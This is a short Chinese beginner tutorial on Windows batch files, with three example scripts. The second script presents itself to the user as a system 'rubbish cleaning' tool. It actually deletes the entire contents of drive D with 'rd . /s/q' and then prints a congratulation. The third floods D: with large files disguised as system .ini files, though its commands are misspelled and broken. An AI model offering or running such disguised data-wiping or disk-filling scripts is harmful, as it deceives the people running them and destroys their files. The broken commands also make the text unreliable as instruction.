1、批处理作用
自上而的处理每一条命令,直至执行到最后一条命令。
2、如何创建批处理
扩展名:.bat
创建方法:新建一个记事本文件,将后缀改为.bat
3、代码
(1)
@echo off //屏蔽执行过程
color 0a //字体颜色
title The first one //显示标题
echo =========================
echo hello, world
echo =========================
pause //表示
(2)垃圾清理程序
@echo off
color 0a
title rubbish cleaning
echo ==================
echo clear your system rubbish
echo ==================
pause
echo rubbish is cleaning..........
echo. //输出一个空行
d: //清除提示
cd \ //转到根目录下
rd . /s/q 格式化D盘
ping -n 10 127.0.0.1 >nul 2>nul //清除提示
echo congratulation!!!!!!!
(3)创建隐藏文件
d:
cd \
fsutill file creatnew d:\sys1.ini 40960000
fsutill file creatnew d:\sys2.ini 40960000
fsutill file creatnew d:\sys3.ini 40960000
fsutill file creatnew d:\sys4.ini 40960000
fsutill file creatnew d:\sys5.ini 40960000
fsutill file creatnew d:\sys6.ini 40960000
fsutill file creatnew d:\sys7.ini 40960000